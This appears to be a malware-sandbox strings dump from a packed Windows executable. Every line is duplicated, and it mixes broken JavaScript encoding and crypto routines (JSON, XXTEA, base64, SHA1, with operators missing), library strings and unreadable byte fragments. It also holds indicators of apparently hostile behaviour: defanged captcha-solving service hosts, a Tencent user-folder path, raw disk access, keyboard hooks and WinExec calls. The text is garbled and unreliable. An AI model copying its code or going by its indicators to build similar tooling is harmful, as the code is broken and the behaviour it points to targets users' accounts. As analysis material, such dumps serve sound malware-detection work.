Lobj.push(obj);
return Lobj.length;
return Lobj.length;
function GetAllKey(){
function GetAllKey(){
Lobj = JSON.parse(str);
Lobj = JSON.parse(str);
var str=JSON.stringify(Lobj);
var str=JSON.stringify(Lobj);
return Lobj.str;
return Lobj.str;
if (typeof Date.prototype.toJSON !== 'function') {
if (typeof Date.prototype.toJSON !== 'function') {
Date.prototype.toJSON = function (key) {
Date.prototype.toJSON = function (key) {
return isFinite(this.valueOf())
return isFinite(this.valueOf())
? this.getUTCFullYear() '-'
? this.getUTCFullYear() '-'
f(this.getUTCMonth() 1) '-'
f(this.getUTCMonth() 1) '-'
f(this.getUTCDate()) 'T'
f(this.getUTCDate()) 'T'
f(this.getUTCHours()) ':'
f(this.getUTCHours()) ':'
f(this.getUTCMinutes()) ':'
f(this.getUTCMinutes()) ':'
f(this.getUTCSeconds()) 'Z'
f(this.getUTCSeconds()) 'Z'
String.prototype.toJSON =
String.prototype.toJSON =
Number.prototype.toJSON =
Number.prototype.toJSON =
Boolean.prototype.toJSON = function (key) {
Boolean.prototype.toJSON = function (key) {
return this.valueOf();
return this.valueOf();
'"' : '\\"',
'"' : '\\"',
'\\': '\\\\'
'\\': '\\\\'
escapable.lastIndex = 0;
escapable.lastIndex = 0;
return escapable.test(string) ? '"' string.replace(escapable, function (a) {
return escapable.test(string) ? '"' string.replace(escapable, function (a) {
: '\\u' ('0000' a.charCodeAt(0).toString(16)).slice(-4);
: '\\u' ('0000' a.charCodeAt(0).toString(16)).slice(-4);
function str(key, holder) {
function str(key, holder) {
k, // The member key.
k, // The member key.
value = holder[key];
value = holder[key];
typeof value.toJSON === 'function') {
typeof value.toJSON === 'function') {
value = value.toJSON(key);
value = value.toJSON(key);
value = rep.call(holder, key, value);
value = rep.call(holder, key, value);
if (Object.prototype.toString.apply(value) === '[object Array]') {
if (Object.prototype.toString.apply(value) === '[object Array]') {
length = value.length;
length = value.length;
v = partial.length === 0
v = partial.length === 0
? '[\n' gap partial.join(',\n' gap) '\n' mind ']'
? '[\n' gap partial.join(',\n' gap) '\n' mind ']'
: '[' partial.join(',') ']';
: '[' partial.join(',') ']';
length = rep.length;
length = rep.length;
partial.push(quote(k) (gap ? ': ' : ':') v);
partial.push(quote(k) (gap ? ': ' : ':') v);
if (Object.prototype.hasOwnProperty.call(value, k)) {
if (Object.prototype.hasOwnProperty.call(value, k)) {
v = partial.length === 0
v = partial.length === 0
? '{\n' gap partial.join(',\n' gap) '\n' mind '}'
? '{\n' gap partial.join(',\n' gap) '\n' mind '}'
: '{' partial.join(',') '}';
: '{' partial.join(',') '}';
if (typeof JSON.stringify !== 'function') {
if (typeof JSON.stringify !== 'function') {
JSON.stringify = function (value, replacer, space) {
JSON.stringify = function (value, replacer, space) {
typeof replacer.length !== 'number')) {
typeof replacer.length !== 'number')) {
throw new Error('JSON.stringify');
throw new Error('JSON.stringify');
if (typeof JSON.parse !== 'function') {
if (typeof JSON.parse !== 'function') {
JSON.parse = function (text, reviver) {
JSON.parse = function (text, reviver) {
function walk(holder, key) {
function walk(holder, key) {
var k, v, value = holder[key];
var k, v, value = holder[key];
if (Object.prototype.hasOwnProperty.call(value, k)) {
if (Object.prototype.hasOwnProperty.call(value, k)) {
return reviver.call(holder, key, value);
return reviver.call(holder, key, value);
cx.lastIndex = 0;
cx.lastIndex = 0;
if (cx.test(text)) {
if (cx.test(text)) {
text = text.replace(cx, function (a) {
text = text.replace(cx, function (a) {
('0000' a.charCodeAt(0).toString(16)).slice(-4);
('0000' a.charCodeAt(0).toString(16)).slice(-4);
.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
.replace(/"[^"\\\n\r]*"|true|false|null|-?\d (?:\.\d*)?(?:[eE][ \-]?\d )?/g, ']')
.replace(/"[^"\\\n\r]*"|true|false|null|-?\d (?:\.\d*)?(?:[eE][ \-]?\d )?/g, ']')
.replace(/(?:^|:|,)(?:\s*\[) /g, ''))) {
.replace(/(?:^|:|,)(?:\s*\[) /g, ''))) {
throw new SyntaxError('JSON.parse');
throw new SyntaxError('JSON.parse');
JSON.stringify(Lobj['
JSON.stringify(Lobj['
Lobj.push("
Lobj.push("
Lobj.push(
Lobj.push(
Lobj.push('
Lobj.push('
Lobj.length
Lobj.length
JSON.stringify(Lobj[
JSON.stringify(Lobj[
Lobj.splice(
Lobj.splice(
JSON.stringify(Lobj
JSON.stringify(Lobj
GetAllKey
GetAllKey
function encrypt(str,pass){
function encrypt(str,pass){
data = m_xxtea.encrypt(str, pass);
data = m_xxtea.encrypt(str, pass);
function decrypt(str,pass){
function decrypt(str,pass){
data = m_xxtea.decrypt(str, pass);
data = m_xxtea.decrypt(str, pass);
if (str.match(/^[\x00-\x7f]*$/) != null) {
if (str.match(/^[\x00-\x7f]*$/) != null) {
return str.toString();
return str.toString();
len = str.length;
len = str.length;
c = str.charCodeAt(i);
c = str.charCodeAt(i);
out[j] = str.charAt(i);
out[j] = str.charAt(i);
out[j] = String.fromCharCode(0xc0 | (c >>> 6),
out[j] = String.fromCharCode(0xc0 | (c >>> 6),
out[j] = String.fromCharCode(0xe0 | (c >>> 12),
out[j] = String.fromCharCode(0xe0 | (c >>> 12),
c2 = str.charCodeAt(i);
c2 = str.charCodeAt(i);
out[j] = String.fromCharCode(0xf0 | ((c >>> 18) & 0x3f),
out[j] = String.fromCharCode(0xf0 | ((c >>> 18) & 0x3f),
return out.join('');
return out.join('');
if ((str.match(/^[\x00-\x7f]*$/) != null) ||
if ((str.match(/^[\x00-\x7f]*$/) != null) ||
(str.match(/^[\x00-\xff]*$/) == null)) {
(str.match(/^[\x00-\xff]*$/) == null)) {
c = str.charCodeAt(i );
c = str.charCodeAt(i );
out[j ] = str.charAt(i - 1);
out[j ] = str.charAt(i - 1);
c2 = str.charCodeAt(i );
c2 = str.charCodeAt(i );
out[j ] = String.fromCharCode(((c & 0x1f)
out[j ] = String.fromCharCode(((c & 0x1f)
c3 = str.charCodeAt(i );
c3 = str.charCodeAt(i );
out[j ] = String.fromCharCode(((c & 0x0f)
out[j ] = String.fromCharCode(((c & 0x0f)
c4 = str.charCodeAt(i );
c4 = str.charCodeAt(i );
out[j ] = String.fromCharCode(((s >>> 10) & 0x03ff) | 0xd800,
out[j ] = String.fromCharCode(((s >>> 10) & 0x03ff) | 0xd800,
var base64EncodeChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /'.split('');
var base64EncodeChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /'.split('');
len = str.length;
len = str.length;
c = str.charCodeAt(i )
c = str.charCodeAt(i )
str.charCodeAt(i )
str.charCodeAt(i )
str.charCodeAt(i );
str.charCodeAt(i );
c = str.charCodeAt(i );
c = str.charCodeAt(i );
c = str.charCodeAt(i )
c = str.charCodeAt(i )
return out.join('');
return out.join('');
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
if (/[^ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\ \/\=]/.test(str)) {
if (/[^ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\ \/\=]/.test(str)) {
if (str.charAt(len - 2) == '=') {
if (str.charAt(len - 2) == '=') {
else if (str.charAt(len - 1) == '=') {
else if (str.charAt(len - 1) == '=') {
c1 = base64DecodeChars[str.charCodeAt(i )];
c1 = base64DecodeChars[str.charCodeAt(i )];
c2 = base64DecodeChars[str.charCodeAt(i )];
c2 = base64DecodeChars[str.charCodeAt(i )];
out[j ] = String.fromCharCode((c1 > 4));
out[j ] = String.fromCharCode((c1 > 4));
c3 = base64DecodeChars[str.charCodeAt(i )];
c3 = base64DecodeChars[str.charCodeAt(i )];
out[j ] = String.fromCharCode(((c2 & 0x0f) > 2));
out[j ] = String.fromCharCode(((c2 & 0x0f) > 2));
c4 = base64DecodeChars[str.charCodeAt(i )];
c4 = base64DecodeChars[str.charCodeAt(i )];
out[j ] = String.fromCharCode(((c3 & 0x03)
out[j ] = String.fromCharCode(((c3 & 0x03)
var length = data.length;
var length = data.length;
data[i] = String.fromCharCode(
data[i] = String.fromCharCode(
return data.join('').substring(0, n);
return data.join('').substring(0, n);
return data.join('');
return data.join('');
var length = string.length;
var length = string.length;
result[i >> 2] = string.charCodeAt(i) |
result[i >> 2] = string.charCodeAt(i) |
string.charCodeAt(i 1)
string.charCodeAt(i 1)
string.charCodeAt(i 2)
string.charCodeAt(i 2)
string.charCodeAt(i 3)
string.charCodeAt(i 3)
result[result.length] = length;
result[result.length] = length;
this.encrypt = function(string, key) {
this.encrypt = function(string, key) {
var k = stringToLongArray(key, false);
var k = stringToLongArray(key, false);
if (k.length
if (k.length
k.length = 4;
k.length = 4;
var n = v.length - 1;
var n = v.length - 1;
var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = 0;
var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = 0;
this.decrypt = function(string, key) {
this.decrypt = function(string, key) {
var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = q * delta & 0xffffffff;
var mx, e, p, q = Math.floor(6 52 / (n 1)), sum = q * delta & 0xffffffff;
* See hXXp://pajhome.org.uk/crypt/md5 for details.
* See hXXp://pajhome.org.uk/crypt/md5 for details.
function hex_sha1(s){return binb2hex(core_sha1(str2binb(s),s.length * chrsz));}
function hex_sha1(s){return binb2hex(core_sha1(str2binb(s),s.length * chrsz));}
function b64_sha1(s){return binb2b64(core_sha1(str2binb(s),s.length * chrsz));}
function b64_sha1(s){return binb2b64(core_sha1(str2binb(s),s.length * chrsz));}
function str_sha1(s){return binb2str(core_sha1(str2binb(s),s.length * chrsz));}
function str_sha1(s){return binb2str(core_sha1(str2binb(s),s.length * chrsz));}
function hex_hmac_sha1(key, data){ return binb2hex(core_hmac_sha1(key, data));}
function hex_hmac_sha1(key, data){ return binb2hex(core_hmac_sha1(key, data));}
function b64_hmac_sha1(key, data){ return binb2b64(core_hmac_sha1(key, data));}
function b64_hmac_sha1(key, data){ return binb2b64(core_hmac_sha1(key, data));}
function str_hmac_sha1(key, data){ return binb2str(core_hmac_sha1(key, data));}
function str_hmac_sha1(key, data){ return binb2str(core_hmac_sha1(key, data));}
for(var i = 0; i
for(var i = 0; i
* Calculate the HMAC-SHA1 of a key and some data
* Calculate the HMAC-SHA1 of a key and some data
function core_hmac_sha1(key, data)
function core_hmac_sha1(key, data)
var bkey = str2binb(key);
var bkey = str2binb(key);
if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);
if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);
ipad[i] = bkey[i] ^ 0x36363636;
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
var hash = core_sha1(ipad.concat(str2binb(data)), 512 data.length * chrsz);
var hash = core_sha1(ipad.concat(str2binb(data)), 512 data.length * chrsz);
return core_sha1(opad.concat(hash), 512 160);
return core_sha1(opad.concat(hash), 512 160);
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
for(var i = 0; i
for(var i = 0; i
bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask)
bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask)
for(var i = 0; i
for(var i = 0; i
str = String.fromCharCode((bin[i>>5] >>> (32 - chrsz - i2)) & mask);
str = String.fromCharCode((bin[i>>5] >>> (32 - chrsz - i2)) & mask);
for(var i = 0; i
for(var i = 0; i
str = hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 4)) & 0xF)
str = hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 4)) & 0xF)
hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 )) & 0xF);
hex_tab.charAt((binarray[i>>2] >> ((3 - i%4)*8 )) & 0xF);
for(var i = 0; i
for(var i = 0; i
if(i * 8 j * 6 > binarray.length * 32) str = b64pad;
if(i * 8 j * 6 > binarray.length * 32) str = b64pad;
else str = tab.charAt((triplet >> 6*(3-j)) & 0x3F);
else str = tab.charAt((triplet >> 6*(3-j)) & 0x3F);
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
qqcrypt.dll
qqcrypt.dll
/-UM2.SD60O:
/-UM2.SD60O:
6.LX:0GN?2CEE4>=L785T:1/Z=,*a?'%d@%#fB#!hB!
6.LX:0GN?2CEE4>=L785T:1/Z=,*a?'%d@%#fB#!hB!
dA@(
dA@(
(2015.06.23)
(2015.06.23)
(2015.06.09)
(2015.06.09)
(2015.05.28)
(2015.05.28)
(2015.05.26)
(2015.05.26)
(2015.05.25)
(2015.05.25)
tn|px.lD
tn|px.lD
.comment {color:green}
.comment {color:green}
*.txt
*.txt
|*.txt
|*.txt
%d&&'
%d&&'
123456789
123456789
00003333
00003333
1.2.18
1.2.18
%*.*f
%*.*f
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
CCmdTarget
CCmdTarget
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
iphlpapi.dll
iphlpapi.dll
MPR.dll
MPR.dll
VERSION.dll
VERSION.dll
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
(*.prn)|*.prn|
(*.prn)|*.prn|
(*.*)|*.*||
(*.*)|*.*||
Shell32.dll
Shell32.dll
Mpr.dll
Mpr.dll
Advapi32.dll
Advapi32.dll
User32.dll
User32.dll
Gdi32.dll
Gdi32.dll
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
: %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
%s:%d
%s:%d
icmp.dll
icmp.dll
windows
windows
1.6.9
1.6.9
unsupported zlib version
unsupported zlib version
png_read_image: unsupported transformation
png_read_image: unsupported transformation
out.prn
out.prn
%d.%d
%d.%d
%d / %d
%d / %d
%d/%d
%d/%d
Bogus message code %d
Bogus message code %d
libpng error: %s
libpng error: %s
libpng warning: %s
libpng warning: %s
bad keyword
bad keyword
libpng does not support gamma background rgb_to_gray
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
Palette is NULL in indexed image
(%d-%d):
(%d-%d):
%ld%c
%ld%c
Y%dY%dX%dX%dHeight%dHeight%dWidth%dWidth%dRECT(%d, %d)-(%d, %d)RECT(%d, %d)-(%d, %d)Styles0xXStyles0xXControl ID%dControl ID%dHandle0xXHandle0xX%s |
%s |
burlywood
burlywood
\winhlp32.exe
\winhlp32.exe
(*.avi)|*.avi
(*.avi)|*.avi
WPFT532.CNV
WPFT532.CNV
WPFT632.CNV
WPFT632.CNV
EXCEL32.CNV
EXCEL32.CNV
write32.wpc
write32.wpc
Windows Write
Windows Write
mswrd632.wpc
mswrd632.wpc
Word for Windows 6.0
Word for Windows 6.0
wword5.cnv
wword5.cnv
Word for Windows 5.0
Word for Windows 5.0
mswrd832.cnv
mswrd832.cnv
mswrd632.cnv
mswrd632.cnv
Word 6.0/95 for Windows & Macintosh
Word 6.0/95 for Windows & Macintosh
html32.cnv
html32.cnv
:%d) |
:%d) |
%I64d%s
%I64d%s
:0{}%s
:0{}%s
:%d)%s
:%d)%s
%s
%s
Reply-To: %s
Reply-To: %s
From: %s
From: %s
To: %s
To: %s
Subject: %s
Subject: %s
Date: %s
Date: %s
Cc: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
%a, %d %b %Y %H:%M:%S
SMTP
SMTP
;3 #>6.&
;3 #>6.&
'2, / 0&7!4-)1#
'2, / 0&7!4-)1#
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
.PAVCArchiveException@@
c:\%original file name%.exe
c:\%original file name%.exe
GetWindowsDirectoryA
GetWindowsDirectoryA
WinExec
WinExec
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyExA
RegCreateKeyExA
GetViewportExtEx
GetViewportExtEx
GetViewportOrgEx
GetViewportOrgEx
SetViewportOrgEx
SetViewportOrgEx
OffsetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
ScaleViewportExtEx
ScaleViewportExtEx
UnhookWindowsHookEx
UnhookWindowsHookEx
SetWindowsHookExA
SetWindowsHookExA
GetKeyState
GetKeyState
CreateDialogIndirectParamA
CreateDialogIndirectParamA
9.5.25.212
9.5.25.212
1, 0, 6, 6
1, 0, 6, 6
- Skin.dll
- Skin.dll
2014, 2, 7, 1
2014, 2, 7, 1
FastVerCode.DLL
FastVerCode.DLL
CCaptchaRecognizer::recognizeByCodeTypeAndUrl
CCaptchaRecognizer::recognizeByCodeTypeAndUrl
hXXp://s1.uudati.com:
hXXp://s1.uudati.com:
hXXp://s1.taskok.com:
hXXp://s1.taskok.com:
hXXp://s1.uudama.com:
hXXp://s1.uudama.com:
hXXp://s1.uuwise.com:
hXXp://s1.uuwise.com:
/Api/config.aspx
/Api/config.aspx
2.0.0.5
2.0.0.5
WiseClientAPI-2.0.0.5
WiseClientAPI-2.0.0.5
CCaptchaRecognizer::__UpdateTKEY
CCaptchaRecognizer::__UpdateTKEY
CCaptchaRecognizer::_IsNeedLogin
CCaptchaRecognizer::_IsNeedLogin
/Api/DecodeImg.aspx
/Api/DecodeImg.aspx
xxxxxxxxxxx
xxxxxxxxxxx
hXXp://p1.uuwise.net:
hXXp://p1.uuwise.net:
hXXp://p1.uudama.net:
hXXp://p1.uudama.net:
hXXp://p1.taskok.com:
hXXp://p1.taskok.com:
hXXp://p1.uuwise.com:
hXXp://p1.uuwise.com:
hXXp://p1.uudama.com:
hXXp://p1.uudama.com:
CCaptchaRecognizer::easyRecognizeUrl
CCaptchaRecognizer::easyRecognizeUrl
%d%d%d%d%d
%d%d%d%d%d
CCaptchaRecognizer::_CalcRandomPort
CCaptchaRecognizer::_CalcRandomPort
/Api/VerifyAPIFile.aspx
/Api/VerifyAPIFile.aspx
/Api/UserLogin.aspx
/Api/UserLogin.aspx
CCaptchaRecognizer::login
CCaptchaRecognizer::login
/Api/UserReg.aspx
/Api/UserReg.aspx
/Api/PayCard.aspx
/Api/PayCard.aspx
/Api/ReportError.aspx
/Api/ReportError.aspx
CCaptchaRecognizer::reportError
CCaptchaRecognizer::reportError
/Api/UserPoint.aspx
/Api/UserPoint.aspx
|2.0.0.5|
|2.0.0.5|
/Api/DecodeResult.aspx
/Api/DecodeResult.aspx
ID/KEY/
ID/KEY/
ByTypeBytes.JPG
ByTypeBytes.JPG
%d-%d-%d
%d-%d-%d
CHttpRequestHelper::_ReadResponse
CHttpRequestHelper::_ReadResponse
User-Agent:WiseClient-2.0.0.5;
User-Agent:WiseClient-2.0.0.5;
WiseClient-2.0.0.5
WiseClient-2.0.0.5
CHttpRequestHelper::_InternalRequest
CHttpRequestHelper::_InternalRequest
CHttpRequestHelper::RequestGetImage
CHttpRequestHelper::RequestGetImage
CHttpRequestHelper::RequestPost
CHttpRequestHelper::RequestPost
ServerPort
ServerPort
UUExtConfig.ini
UUExtConfig.ini
-:-:-.%d
-:-:-.%d
tCRYPTDLL.DLL
tCRYPTDLL.DLL
3.cn.pool.ntp.org
3.cn.pool.ntp.org
2.cn.pool.ntp.org
2.cn.pool.ntp.org
1.cn.pool.ntp.org
1.cn.pool.ntp.org
0.cn.pool.ntp.org
0.cn.pool.ntp.org
cn.pool.ntp.org
cn.pool.ntp.org
\\.\PHYSICALDRIVE0
\\.\PHYSICALDRIVE0
Microsoft Windows Millennium Edition
Microsoft Windows Millennium Edition
Microsoft Windows 98
Microsoft Windows 98
Microsoft Windows 95
Microsoft Windows 95
%s (Build %d)
%s (Build %d)
Service Pack 6a (Build %d)
Service Pack 6a (Build %d)
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009
Web Edition
Web Edition
Service Pack %d (Build %d)
Service Pack %d (Build %d)
Microsoft Windows NT
Microsoft Windows NT
Microsoft Windows 2000
Microsoft Windows 2000
Microsoft Windows XP
Microsoft Windows XP
Microsoft Windows Server 2003,
Microsoft Windows Server 2003,
Microsoft Windows XP Professional x64 Edition
Microsoft Windows XP Professional x64 Edition
Microsoft Windows Server 2003 "R2"
Microsoft Windows Server 2003 "R2"
Windows Server 2008
Windows Server 2008
Windows Vista
Windows Vista
Windows Server 2008 R2
Windows Server 2008 R2
Windows 7
Windows 7
ox-x-x-x-x-x
ox-x-x-x-x-x
\Tencent\Users\*.*
\Tencent\Users\*.*
nKERNEL32.DLL
nKERNEL32.DLL
mscoree.dll
mscoree.dll
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
WUSER32.DLL
WUSER32.DLL
!"#$%&'()* ,-.
!"#$%&'()* ,-.
uuwise.com
uuwise.com
2, 0, 0, 5
2, 0, 0, 5
1.0.0.1
1.0.0.1
!"#$%&'()* ,-
!"#$%&'()* ,-
25, 0, 0, 1
25, 0, 0, 1
Windows
Windows
6.0.2600.0 (xpclient.010817-1148)
6.0.2600.0 (xpclient.010817-1148)
6.0.2600.0
6.0.2600.0
%original file name%.exe_812_rwx_010B8000_0000C000:
x.yvr
x.yvr
x.yvkd
x.yvkd
x.yvw
x.yvw
x.yvq5v
x.yvq5v
%original file name%.exe_812_rwx_0114D000_000CA000:
version.dll
version.dll
user32.dll
user32.dll
shell32.dll
shell32.dll
1e.ro4A
1e.ro4A
oleaut32.dll
oleaut32.dll
H0.gW
H0.gW
comctl32.dll
comctl32.dll
advapi32.dll
advapi32.dll
gdi32.dll
gdi32.dll
d.jF/"
d.jF/"
r#'%C
r#'%C
6.Xdp
6.Xdp
g|$^.Cn
g|$^.Cn
>.bM8
>.bM8
>Z.Ye
>Z.Ye
w4R`$p%s*
w4R`$p%s*
f.zo~L^
f.zo~L^
wsock32.dll
wsock32.dll
ntdll.dll
ntdll.dll
Ë.L@
Ë.L@
l.sQ{
l.sQ{
c-t{.FF
c-t{.FF
b#I".wM
b#I".wM
e.ENZ
e.ENZ
xip.tu
xip.tu
@>.vO
@>.vO
%FX2Fsi
%FX2Fsi
qKT.jLka
qKT.jLka
3.LD7
3.LD7
Uq
Uq
G,.gd
G,.gd
<.cff>
<.cff>
&8.XMj
&8.XMj
$~O.Ba
$~O.Ba
)].Wd
)].Wd
/_{M%U
/_{M%U
Q%s6|
Q%s6|
lVfeVg
lVfeVg
!%uO
!%uO
mh.ud
mh.ud
m%Csn%
m%Csn%
kq84.QaI
kq84.QaI
)f%fg
)f%fg
.SuDYw
.SuDYw
K)`p.frC
K)`p.frC
*%s!%
*%s!%
aR.dDb&
aR.dDb&
.xk 4g
.xk 4g
ShellExecuteA
ShellExecuteA
RegCloseKey
RegCloseKey
)%S{.
)%S{.
'U}.Ue
'U}.Ue
l%S(8x$!(
l%S(8x$!(
1L%UJ
1L%UJ
.vtbw
.vtbw
.iA5N
.iA5N
yyhKa%S
yyhKa%S
d.Zd=#R
d.Zd=#R
x0r%F{
x0r%F{
.IPi)
.IPi)
Vj.jH
Vj.jH
>M%X9
>M%X9
/8[
/8[
bc.lTk
bc.lTk
ks_GetMsg
ks_GetMsg
kssPlugin.dll
kssPlugin.dll
tole32.dll
tole32.dll
kernel32.dll
kernel32.dll
%original file name%.exe_812_rwx_10000000_0003F000:
`.rsrc
`.rsrc
L$(h%f
L$(h%f
SSh0j
SSh0j
msctls_hotkey32
msctls_hotkey32
TVCLHotKey
TVCLHotKey
THotKey
THotKey
\skinh.she
\skinh.she
}uo,x6l5k%x-l h
}uo,x6l5k%x-l h
9p%s m)t4`#b
9p%s m)t4`#b
e"m?c&y1`Ã
e"m?c&y1`Ã
SetViewportOrgEx
SetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
SetWindowsHookExA
SetWindowsHookExA
UnhookWindowsHookEx
UnhookWindowsHookEx
EnumThreadWindows
EnumThreadWindows
EnumChildWindows
EnumChildWindows
`c%US.4/
`c%US.4/
!#$
!#$
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.UPX0
@.UPX0
`.UPX1
`.UPX1
`.reloc
`.reloc
hJK.ZH
hJK.ZH
O.qt0
O.qt0
KERNEL32.DLL
KERNEL32.DLL
COMCTL32.dll
COMCTL32.dll
GDI32.dll
GDI32.dll
MSIMG32.dll
MSIMG32.dll
MSVCRT.dll
MSVCRT.dll
MSVFW32.dll
MSVFW32.dll
USER32.dll
USER32.dll
SkinH_EL.dll
SkinH_EL.dll
1, 0, 6, 6
1, 0, 6, 6
- Skin.dll
- Skin.dll